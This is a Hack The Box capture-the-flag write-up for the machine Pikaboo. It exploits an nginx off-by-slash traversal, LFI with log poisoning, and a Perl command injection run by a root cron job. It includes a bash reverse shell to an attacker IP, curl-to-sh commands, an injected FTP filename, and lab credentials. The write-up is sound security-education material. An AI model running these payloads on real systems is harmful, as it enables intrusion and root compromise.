Hack The Box - Pikaboo

info_card

Pikaboo is a hard rated machine on HackTheBox created by pwnmeow and polarbearer. For the user part we will exploit path normalisation on the web server configurations to access a restricted path. This will expose the server-status revealing another directory on the webserver. The application running there is vulnerable to LFI which we can abuse with log poisoning to gain rce and a reverse shell. On the machine we will find ldap configuration in a settings file, with which we can query ldap to get the credentials for another user. With this user we can abuse a command injection in a perl script running as a cronjob to achive arbitrary command execution as root.

User

As usual we will start our enumeration off with a nmap scan against all ports followed by a script and version detection scan against the open ones, to get a full picture of the attack surface.

Nmap

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.44.70
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-18 00:50 BST
Nmap scan report for 10.129.44.70
Host is up (0.20s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 58.92 seconds

Script and Version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -p 21,22,80 -sC -sV 10.129.44.70
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-18 00:56 BST
Nmap scan report for 10.129.44.70
Host is up (0.029s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_  256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds

Off-by-slash

From the open ports HTTP looks the most promising, since anonymous access on ftp is not allowed, so we will start there. Opening it up in our web browser we see a webpage about collecting pokemon.

home

Trying to browse to admin the path is restricted by basic authorization.

basic_auth

Looking at the request in burp we see that we get denied by an apache reverse proxy before the nginx installation.

reverse_proxy

Running gobuster against the webroot we see that any directory containing admin is blacklisted with a regex, to be protect by basic auth.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u 10.129.44.70/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.44.70/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/07/18 01:12:34 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 274]
/.html                (Status: 403) [Size: 274]
/images               (Status: 301) [Size: 319] [--> http://10.129.44.70/images/]
/admin                (Status: 401) [Size: 456]
/administrator        (Status: 401) [Size: 456]
/.htm                 (Status: 403) [Size: 274]
/admincp              (Status: 401) [Size: 456]
/.                    (Status: 200) [Size: 6922]
/administration       (Status: 401) [Size: 456]
/.htaccess            (Status: 403) [Size: 274]
/admin_index          (Status: 401) [Size: 456]
/admin_c              (Status: 401) [Size: 456]
...[snip]...

However the is a off-by-slash missconfiguration in the the nginx config, which means we can we can traverse a directory back and access the server root. The vulnerability is well outlined in this post by orange tsai starting on slide 17. Running another gobuster against this we find we have now access to the apache server-status.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u 10.129.44.70/admin../
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.44.70/admin../
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/07/18 01:11:22 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 274]
/admin                (Status: 401) [Size: 456]
/.html                (Status: 403) [Size: 274]
/.htm                 (Status: 403) [Size: 274]
/javascript           (Status: 301) [Size: 314] [--> http://127.0.0.1:81/javascript/]
/.                    (Status: 403) [Size: 274]
/.htaccess            (Status: 403) [Size: 274]
/.phtml               (Status: 403) [Size: 274]
/.htc                 (Status: 403) [Size: 274]
/.html_var_DE         (Status: 403) [Size: 274]
/server-status        (Status: 200) [Size: 4341]
/.htpasswd            (Status: 403) [Size: 274]
/.html.               (Status: 403) [Size: 274]
...[snip]...

The first entry in the server-status show a directory we haven’t found previously.

server-status

Log poisoning

Browsing to this page there is a Material Dashboard website

material_dashboard

Clicking on User Profile we see it loads the site over the page parameter on index.php.

page_param

Checking for other possible pages with ffuf we find an info.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ffuf -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.129.44.70/admin../admin_staging/index.php?page=FUZZ -fs 15349 -e .php

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.44.70/admin../admin_staging/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt
 :: Extensions       : .php
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 15349
________________________________________________

user.php                [Status: 200, Size: 24978, Words: 7266, Lines: 578]
info.php                [Status: 200, Size: 87036, Words: 6725, Lines: 1170]
tables.php              [Status: 200, Size: 29131, Words: 11707, Lines: 744]
dashboard.php           [Status: 200, Size: 40555, Words: 15297, Lines: 883]
index.php               [Status: 200, Size: 0, Words: 1, Lines: 1]
:: Progress: [5176/5176] :: Job [1/1] :: 1306 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

This displays the phpinfo() and reveals the open_basedir is set to /var. This mean we can include any file up from this directory.

open_basedir

If the configuration is set to interpret php code in any file we can get RCE by finding a file in these directories we can modify and include it. A good target for this is the access log of nginx since it logs the user agent.

access_log

In the first step we send the request to burp repeater and modify our user agent to be a small php web shell.

poison

After sending the request we can set the user agent back now and add our defined parameter to the url calling the id command. Looking at the output we see we have indeed achieved RCE and the webserver is running as the www-data user.

rce_poc

To gain a reverse shell we just create an index.html with a reverse shell in it.

index.html

1
2
3
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.14.11/7575 0>&1'

We serve this file over a python webserver and set up our listener on the port we specified in index.html.

1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Now we can send a command to curl our webserver and pipe the result to sh, leading in a hit on our webserver followed by a connection from the target back to us.

burp_exec

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.44.70 - - [18/Jul/2021 01:30:10] "GET / HTTP/1.1" 200 -

We upgrade our reverse shell fix the terminal size and can pick up the user flag in the home directory of pwnmeow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.44.70.
Ncat: Connection from 10.129.44.70:57152.
bash: cannot set terminal process group (670): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pikaboo:/var/www/html/admin_staging$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ing$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@pikaboo:/var/www/html/admin_staging$ export TERM=xterm
export TERM=xterm
www-data@pikaboo:/var/www/html/admin_staging$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

www-data@pikaboo:/var/www/html/admin_staging$ stty rows 55 cols 236
1
2
www-data@pikaboo:/var/www/html/admin_staging$ wc -c /home/pwnmeow/user.txt
33 /home/pwnmeow/user.txt

Root

The next step is also coincidentally outlined in the post by orange tsai. The web app has a settings.py file which contains the database credentials for ldap binduser:J~42%W?PFHl]g.

LDAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@pikaboo:/$ cat /opt/pokeapi/config/settings.py
# Production settings
import os
from unipath import Path

PROJECT_ROOT = Path(__file__).ancestor(2)
...[snip]...
DATABASES = {
    "ldap": {
        "ENGINE": "ldapdb.backends.ldap",
        "NAME": "ldap:///",
        "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
        "PASSWORD": "J~42%W?PFHl]g",
    },
    "default": {
        "ENGINE": "django.db.backends.sqlite3",
        "NAME": "/opt/pokeapi/db.sqlite3",
    }
}
...[snip]...

With these credentials we can now query ldap for all levels with the sub scope. This results in another user with his password encoded in base64.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@pikaboo:/$ ldapsearch -s sub -b "dc=pikaboo,dc=htb" -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w "J~42%W?PFHl]g"
# extended LDIF
#
# LDAPv3
# base <dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
...[snip]...
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
...[snip]...

With pwnmeow:_G0tT4_C4tcH_'3m_4lL!_ we now have access to the ftp server and the user pwnmeow is also in the ftp group which will be important in the next step.

Perl command injection

Looking at cronjobs we see one running every minute as the root user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@pikaboo:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/local/bin/csvupdate_cron

The cronjob is a bash script that changes to every directory on the ftp server, executes /usr/local/bin/csvupdate with the current base directory and the csv filename on all files ending with csv in this directory and afterwards removes all the files.

/usr/local/bin/csvupdate_cron

1
2
3
4
5
6
7
8
#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done

The script getting called on the csv’s is custom perl script that parses a csv and writes it to /opt/pokeapi/data/v2/csv after some checks.

/usr/local/bin/csvupdate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
#!/usr/bin/perl

##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
#                                                                #
# Usage:                                                         #
# ./csvupdate <type> <file(s)>                                   #
#                                                                #
# Arguments:                                                     #
# - type: PokeAPI CSV file type                                  #
#         (must have the correct number of fields)               #
# - file(s): list of files containing CSV data                   #
##################################################################

use strict;
use warnings;
use Text::CSV;

my $csv_dir = "/opt/pokeapi/data/v2/csv";

my %csv_fields = (
  'abilities' => 4,
  'ability_changelog' => 3,
  'ability_changelog_prose' => 3,
  'ability_flavor_text' => 4,
  'ability_names' => 3,
  'ability_prose' => 4,
  'berries' => 10,
  'berry_firmness' => 2,
  'berry_firmness_names' => 3,
  'berry_flavors' => 3,
  'characteristics' => 3,
  'characteristic_text' => 3,
  'conquest_episode_names' => 3,
  'conquest_episodes' => 2,
  'conquest_episode_warriors' => 2,
  'conquest_kingdom_names' => 3,
  'conquest_kingdoms' => 3,
  'conquest_max_links' => 3,
  'conquest_move_data' => 7,
  'conquest_move_displacement_prose' => 5,
  'conquest_move_displacements' => 3,
  'conquest_move_effect_prose' => 4,
  'conquest_move_effects' => 1,
  'conquest_move_range_prose' => 4,
  'conquest_move_ranges' => 3,
  'conquest_pokemon_abilities' => 3,
  'conquest_pokemon_evolution' => 8,
  'conquest_pokemon_moves' => 2,
  'conquest_pokemon_stats' => 3,
  'conquest_stat_names' => 3,
  'conquest_stats' => 3,
  'conquest_transformation_pokemon' => 2,
  'conquest_transformation_warriors' => 2,
  'conquest_warrior_archetypes' => 2,
  'conquest_warrior_names' => 3,
  'conquest_warrior_ranks' => 4,
  'conquest_warrior_rank_stat_map' => 3,
  'conquest_warriors' => 4,
  'conquest_warrior_skill_names' => 3,
  'conquest_warrior_skills' => 2,
  'conquest_warrior_specialties' => 3,
  'conquest_warrior_stat_names' => 3,
  'conquest_warrior_stats' => 2,
  'conquest_warrior_transformation' => 10,
  'contest_combos' => 2,
  'contest_effect_prose' => 4,
  'contest_effects' => 3,
  'contest_type_names' => 5,
  'contest_types' => 2,
  'egg_group_prose' => 3,
  'egg_groups' => 2,
  'encounter_condition_prose' => 3,
  'encounter_conditions' => 2,
  'encounter_condition_value_map' => 2,
  'encounter_condition_value_prose' => 3,
  'encounter_condition_values' => 4,
  'encounter_method_prose' => 3,
  'encounter_methods' => 3,
  'encounters' => 7,
  'encounter_slots' => 5,
  'evolution_chains' => 2,
  'evolution_trigger_prose' => 3,
  'evolution_triggers' => 2,
  'experience' => 3,
  'genders' => 2,
  'generation_names' => 3,
  'generations' => 3,
  'growth_rate_prose' => 3,
  'growth_rates' => 3,
  'item_categories' => 3,
  'item_category_prose' => 3,
  'item_flag_map' => 2,
  'item_flag_prose' => 4,
  'item_flags' => 2,
  'item_flavor_summaries' => 3,
  'item_flavor_text' => 4,
  'item_fling_effect_prose' => 3,
  'item_fling_effects' => 2,
  'item_game_indices' => 3,
  'item_names' => 3,
  'item_pocket_names' => 3,
  'item_pockets' => 2,
  'item_prose' => 4,
  'items' => 6,
  'language_names' => 3,
  'languages' => 6,
  'languages' => 6,
  'location_area_encounter_rates' => 4,
  'location_area_prose' => 3,
  'location_areas' => 4,
  'location_game_indices' => 3,
  'location_names' => 4,
  'locations' => 3,
  'machines' => 4,
  'move_battle_style_prose' => 3,
  'move_battle_styles' => 2,
  'move_changelog' => 10,
  'move_damage_classes' => 2,
  'move_damage_class_prose' => 4,
  'move_effect_changelog' => 3,
  'move_effect_changelog_prose' => 3,
  'move_effect_prose' => 4,
  'move_effects' => 1,
  'move_flag_map' => 2,
  'move_flag_prose' => 4,
  'move_flags' => 2,
  'move_flavor_summaries' => 3,
  'move_flavor_text' => 4,
  'move_meta_ailment_names' => 3,
  'move_meta_ailments' => 2,
  'move_meta_categories' => 2,
  'move_meta_category_prose' => 3,
  'move_meta' => 13,
  'move_meta_stat_changes' => 3,
  'move_names' => 3,
  'moves' => 15,
  'move_target_prose' => 4,
  'move_targets' => 2,
  'nature_battle_style_preferences' => 4,
  'nature_names' => 3,
  'nature_pokeathlon_stats' => 3,
  'natures' => 7,
  'pal_park_area_names' => 3,
  'pal_park_areas' => 2,
  'pal_park' => 4,
  'pokeathlon_stat_names' => 3,
  'pokeathlon_stats' => 2,
  'pokedexes' => 4,
  'pokedex_prose' => 4,
  'pokedex_version_groups' => 2,
  'pokemon_abilities' => 4,
  'pokemon_color_names' => 3,
  'pokemon_colors' => 2,
  'pokemon' => 8,
  'pokemon_dex_numbers' => 3,
  'pokemon_egg_groups' => 2,
  'pokemon_evolution' => 20,
  'pokemon_form_generations' => 3,
  'pokemon_form_names' => 4,
  'pokemon_form_pokeathlon_stats' => 5,
  'pokemon_forms' => 10,
  'pokemon_form_types' => 3,
  'pokemon_game_indices' => 3,
  'pokemon_habitat_names' => 3,
  'pokemon_habitats' => 2,
  'pokemon_items' => 4,
  'pokemon_move_method_prose' => 4,
  'pokemon_move_methods' => 2,
  'pokemon_moves' => 6,
  'pokemon_shape_prose' => 5,
  'pokemon_shapes' => 2,
  'pokemon_species' => 20,
  'pokemon_species_flavor_summaries' => 3,
  'pokemon_species_flavor_text' => 4,
  'pokemon_species_names' => 4,
  'pokemon_species_prose' => 3,
  'pokemon_stats' => 4,
  'pokemon_types' => 3,
  'pokemon_types_past' => 4,
  'region_names' => 3,
  'regions' => 2,
  'stat_names' => 3,
  'stats' => 5,
  'super_contest_combos' => 2,
  'super_contest_effect_prose' => 3,
  'super_contest_effects' => 2,
  'type_efficacy' => 3,
  'type_game_indices' => 3,
  'type_names' => 3,
  'types' => 4,
  'version_group_pokemon_move_methods' => 2,
  'version_group_regions' => 2,
  'version_groups' => 4,
  'version_names' => 3,
  'versions' => 3
);


if($#ARGV < 1)
{
  die "Usage: $0 <type> <file(s)>\n";
}

my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
  die "Unrecognised CSV data type: $type.\n";
}

my $csv = Text::CSV->new({ sep_char => ',' });

my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";

shift;
for(<>)
{
  chomp;
  if($csv->parse($_))
  {
    my @fields = $csv->fields();
    if(@fields != $csv_fields{$type})
    {
      warn "Incorrect number of fields: '$_'\n";
      next;
    }
    print $fh "$_\n";
  }
}

close($fh);

The only part that actually matter here is that the diamond operator is called directly on the contents of ARGV. This leads to it interpreting special characters effectivly enabling command injection. This is also mentioned in the perl documentation about the diamond operator.

perl_docs

For this to work we need to have write access in a directory on the ftp server. Looking at the listing we see that the ftp group, which we are a member off, has write access on any directory. Which directory we actually use does not matter, we will use the versions directory in this case.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ftp 10.129.44.70
Connected to 10.129.44.70.
220 (vsFTPd 3.0.3)
Name (10.129.44.70:jack): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx-wx---    2 ftp      ftp          4096 May 20 09:54 abilities
drwx-wx---    2 ftp      ftp          4096 May 20 08:01 ability_changelog
drwx-wx---    2 ftp      ftp          4096 May 20 08:01 ability_changelog_prose
drwx-wx---    2 ftp      ftp          4096 May 20 08:01 ability_flavor_text
drwx-wx---    2 ftp      ftp          4096 May 20 08:01 ability_names
drwx-wx---    2 ftp      ftp          4096 May 20 08:01 ability_prose
drwx-wx---    2 ftp      ftp          4096 May 20 08:01 berries
...[snip]...

Now we need to know what we want to inject. Since we already have our index.html reverse shell we can use it again here. We set up our webserver again and also the corresponding listener.

1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

After changing to a directory we can now upload a file with a name which will lead to curling our webserver and piping the result to sh.

1
2
3
4
5
6
7
ftp> cd versions
250 Directory successfully changed.
ftp> put x.csv "|curl 10.10.14.11|sh|x.csv"
local: x.csv remote: |curl 10.10.14.11|sh|x.csv
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.

After about a minute we get a hit on our webserver followed by a reverse shell on our listener as the root user.

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.44.70 - - [18/Jul/2021 01:55:42] "GET / HTTP/1.1" 200 -

We upgrade the shell again, fix the terminal size and can add the root flag to our collection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.44.70.
Ncat: Connection from 10.129.44.70:57176.
bash: cannot set terminal process group (13500): Inappropriate ioctl for device
bash: no job control in this shell
root@pikaboo:/srv/ftp/versions# python3 -c 'import pty;pty.spawn("/bin/bash")'
<ons# python3 -c 'import pty;pty.spawn("/bin/bash")'
root@pikaboo:/srv/ftp/versions# export TERM=xterm
export TERM=xterm
root@pikaboo:/srv/ftp/versions# ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

root@pikaboo:/srv/ftp/versions# stty rows 55 cols 236
1
2
root@pikaboo:/srv/ftp/versions# wc -c /root/root.txt
33 /root/root.txt